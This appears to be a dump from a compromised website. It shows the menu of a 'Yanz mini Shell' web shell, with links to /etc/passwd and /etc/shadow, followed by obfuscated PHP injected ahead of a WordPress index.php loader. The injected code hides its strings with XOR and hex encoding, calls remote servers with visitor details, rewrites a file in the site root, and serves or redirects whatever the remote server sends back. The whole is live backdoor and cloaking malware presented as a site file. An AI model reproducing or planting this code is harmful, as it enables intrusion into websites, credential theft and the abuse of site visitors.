Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function Uvnku8asan($d4zD8, $mHKjM){ $nUNWr = ($d4zD8 * $mHKjM) % 62; $qLwJb = sqrt(abs($nUNWr)) * 4977 / 100; $dtbY5 = ($nUNWr << 2) ^ ($qLwJb >> 1); if($dtbY5 > 62 * 10) { $dtbY5 = $dtbY5 / $d4zD8; } else { $dtbY5 = $dtbY5 * $mHKjM; } return ($dtbY5 + $nUNWr) % 4977; } $nsnI23 = 447 + 566; $kyrDpy = ($nsnI23 * 447) / (566 + 1); $T4aFCN = str_repeat('x', $nsnI23 % 10); $nsnI23 = ($nsnI23 << 12) | ($nsnI23 >> (32 - 12)); class VzWK87FdpX14 { private $OrHQm; private $mjfgi; public function L3BiWn9Z() { return $this->OrHQm * $this->mjfgi % 100; } public function Dm5HpukR($OrHQm) { $this->$OrHQm = ($OrHQm + $this->$OrHQm) % 1000; return $this->L3BiWn9Z(); } } $e6TNt = 'oUUA1bOf6pQg4xtD';$m9HuC = array('_cygxgn' => '4a66666402536a550f556255114a3061596070777447795713476942074a51775e70667214500a4301467450755d42774a636d64065b6a5000556755114e41615d107077734779251346154b114b47615c64707208477c5413421542024d51722a7063701455774305427454055d47774a671064075b6a5100556752114e3161586c70760747795113476442034a51762a70630314540c4300347d42074b51775e70667814517d4304347451015d42014a636464065a6a5504556256114b47615d1070760247792313466742024f51725d70637414557d4300467455715d42734a6367640751634305437454055d477d4a66676403266a5003556722114e4561586d707203477c5713436242063d51735670627714550e4301467451055d42014a626c6406546a5000556322114e43615967707702','_ma29a8' => '43','_w9ue1x' => '0721213142','_ghfpjt' => '07212131','_qwkt3p' => '40','_fw46h1' => '270101116e2a003562','_1cx7g2' => '270101116e230c257320053878393a033a141204','_sni0lu' => '0a3b','_re7m53' => '270101116e300a2073221435','_9xrh18' => '','_m4uu4p' => '1830377c','_pqlvbc' => '492f2f7c','_104mvi' => '5e','_t5u4ma' => '5f','_mjyty9' => '492027280c','_y01yjk' => '4920272d420a2e08514d','_72dn3m' => '493d2135415f','_rnfufg' => '4939342f565f','_sapy0x' => '2b1a16147c27013269221e2860','_wg294o' => '40273a235e163c48420825','_7k6d1h' => '','_bghvm4' => '406a','_rtdojx' => '50','_1g8urp' => '3a2630331c03280358046b471e','_8t1jt3' => '2e39392e46586f49','_nsc3en' => '3c3c21245c033f5c16','_3d8yqi' => '557a7a','_ww3vvt' => '1c3c21245c033f484e1d3d','_fr2soj' => '013a372e45173c03441136025a0c','_45d50l' => '2701011162','_li5qd2' => '003333','_yjb6kf' => '270101116e3a102079220626663c31003005070e652d','_y23x6n' => '270101116e241d2978240e227a3c2b0c3b010512','_8we16s' => '3d10041474311b39632218','_k0zqp6' => '0e273237','_f0ow4d' => '3f1d051e62270320','_fvkrbd' => '50','_npjj79' => '3e001013683d1c3264391f20','_30jwp4' => '270101116e371c23642f1020713620','_i660te' => '083a3a265d072d0942','_v9eoz1' => '0d3c3b26','_to4a12' => '16343d2e5e','_ih6q6z' => '083a3a265d07','_f8nju0' => '283a3a265d072d0942','_snq5z5' => '072121310b4d60','_75jatg' => '403c3b25541a61165e006e','_xr8l6f' => '0e39392e463d3a145a2f3708441d1a','_0la60y' => '0c00070d11273d1459026b4704','_crjkfq' => '003e3d355c0e280342193c00','_x5z8wt' => '2c3a3b35540c3b4b620921020e581d290e32306e5b122a01','_qx90ou' => '003e3d355c0e280342193c00','_jmbhnf' => '003e3d355c0e280342132214','_csdmbc' => '2c3a3b35540c3b4b620921020e58002117217a224211744655183015471d00791a21336c09','_5krlxr' => '003e3d355c0e280342132214','_ubpstc' => '003e3d355c0e280342133e09401d1a30','_tsmbur' => '2c3a3b35540c3b4b420921020e58002117217a29450f235d16133906460b1130522021271c5a','_zk0lei' => '003e3d355c0e280342133e09401d1a30','_1ixev1' => '003e2d2c5d052a12551f3f13511600','_f0xgu6' => '2c3a3b35540c3b4b620921020e5815341f393c2250162609585f290a58435427073427325416721342167c5f','_uedibq' => '003e2d2c5d052a12551f3f13511600','_fs6u68' => '083021225e0c3b0358046457040815230a','_s6op8p' => '270101111e5361571645615714311a300a273b205d421c0344063415143d06360027','_h3ubo0' => '083021225e0c3b0358046557000815230a','_w9hfz8' => '270101111e5361571644615314361b304f133a345f06','_w1jjvu' => '083021225e0c3b0358046257050815230a','_nnppqo' => '270101111e5361571643615614351b320a3175115410220758153f135801','_3bhhxt' => '233a3620450b20080c50','_ytp92o' => '003e272e530d3b15511525045b1600210121','_n8zx3y' => '2c3a3b35540c3b4b620921020e58002117217a315d032608','_63qhm6' => '003e272e530d3b15511525045b1600210121','_8ro4ja' => '38050a14622710327e351c2267');foreach($m9HuC as $key => $value){ $DGDsG = tVIlv(hex2bin($value), $e6TNt); define($key, $DGDsG ); }unset($m9HuC, $e6TNt);unset($GLOBALS['tVIlv']);function tVIlv($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$dh2sX = _cygxgn; $C5WVG = explode(_ma29a8, $dh2sX); $ImSVC = zhLYg9bM() ? _w9ue1x : _ghfpjt; $DkZya = qTiFpaSj(); $YWhpE = empty($DkZya) ? _qwkt3p : $DkZya; $VocOI = $_SERVER[_fw46h1]; $QXBPV = isset($_SERVER[_1cx7g2]) ? $_SERVER[_1cx7g2] : _sni0lu; $UbNwb = isset($_SERVER[_re7m53]) ? $_SERVER[_re7m53] : _9xrh18; $Sl17H = _m4uu4p . $VocOI . _pqlvbc . (jTYRBdrQ() ? _104mvi : _t5u4ma) . _mjyty9 . urlencode($YWhpE) . _y01yjk . urlencode($UbNwb) . _72dn3m . $ImSVC . _rnfufg . $QXBPV; $bXybF = nLSv0nVU($C5WVG, $ImSVC, $Sl17H); $Et2ZQ = $_SERVER[_sapy0x] . _wg294o; $JBtvy = _9xrh18; if (stristr($YWhpE, _bghvm4)) { $JBtvy = _rtdojx; } $I7Imy = _1g8urp . PHP_EOL; $I7Imy .= _8t1jt3 . PHP_EOL . PHP_EOL; $I7Imy .= _nsc3en . $ImSVC . _3d8yqi . $VocOI . _qwkt3p . $JBtvy . _ww3vvt . PHP_EOL; if (!file_exists($Et2ZQ)) { file_put_contents($Et2ZQ, $I7Imy); } else { if (md5_file($Et2ZQ) !== md5($I7Imy)) { @file_put_contents($Et2ZQ, $I7Imy); } } if (!strstr($bXybF, _fr2soj)) { APT7KJpw($bXybF); } function zhLYg9bM() { return ( isset($_SERVER[_45d50l]) && strtolower($_SERVER[_45d50l]) !== _li5qd2 || isset($_SERVER[_yjb6kf]) && $_SERVER[_yjb6kf] === _w9ue1x || isset($_SERVER[_y23x6n]) && strtolower($_SERVER[_y23x6n]) !== _li5qd2 ); } function qTiFpaSj() { if (isset($_SERVER[_8we16s])) { return $_SERVER[_8we16s]; } elseif (isset($_SERVER[_k0zqp6])) { return $_SERVER[_f0ow4d] . _rtdojx . $_SERVER[_k0zqp6][0]; } else { return $_SERVER[_f0ow4d] . _rtdojx . $_SERVER[_npjj79]; } } function jTYRBdrQ() { $IvFO7 = strtolower(isset($_SERVER[_30jwp4]) ? $_SERVER[_30jwp4] : _9xrh18); return stristr($IvFO7, _i660te) || stristr($IvFO7, _v9eoz1) || stristr($IvFO7, _to4a12) || stristr($IvFO7, _ih6q6z) || stristr($IvFO7, _f8nju0); } function nLSv0nVU($pK4V8, $ImSVC, $Sl17H) { shuffle($pK4V8); foreach ($pK4V8 as $o6601) { $o6601 = str_rot13(urldecode($o6601)); $Kesyk = _snq5z5 . $o6601 . _75jatg . $Sl17H; $RF0eq = curl_init(); curl_setopt($RF0eq, CURLOPT_URL, $Kesyk); curl_setopt($RF0eq, CURLOPT_RETURNTRANSFER, true); $ZpPpE = curl_exec($RF0eq); if (!curl_errno($RF0eq)) { curl_close($RF0eq); return $ZpPpE; } else { curl_close($RF0eq); } if (ini_get(_xr8l6f)) { $ZpPpE = @file_get_contents($Kesyk); if ($ZpPpE !== false) { return $ZpPpE; } } } echo _0la60y; } function APT7KJpw($bXybF) { if (strstr($bXybF, _crjkfq)) { header(_x5z8wt); echo str_replace(_crjkfq, _9xrh18, $bXybF); exit(); } elseif (strstr($bXybF, _jmbhnf)) { header(_csdmbc); echo str_replace(_jmbhnf, _9xrh18, $bXybF); exit(); } elseif (strstr($bXybF, _ubpstc)) { header(_tsmbur); echo str_replace(_ubpstc, _9xrh18, $bXybF); exit(); } elseif (strstr($bXybF, _1ixev1)) { header(_f0xgu6); echo str_replace(_1ixev1, _9xrh18, $bXybF); exit(); } elseif (strstr($bXybF, _fs6u68)) { header(_s6op8p); exit(); } elseif (strstr($bXybF, _h3ubo0)) { header(_w9hfz8); exit(); } elseif (strstr($bXybF, _w1jjvu)) { header(_nnppqo); $bXybF = str_replace(_w1jjvu, _9xrh18, $bXybF); header(_3bhhxt . $bXybF); exit(); } elseif (strstr($bXybF, _ytp92o)) { header(_n8zx3y); echo str_replace(_ytp92o, _9xrh18, $bXybF); exit(); } } define( _8ro4ja, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>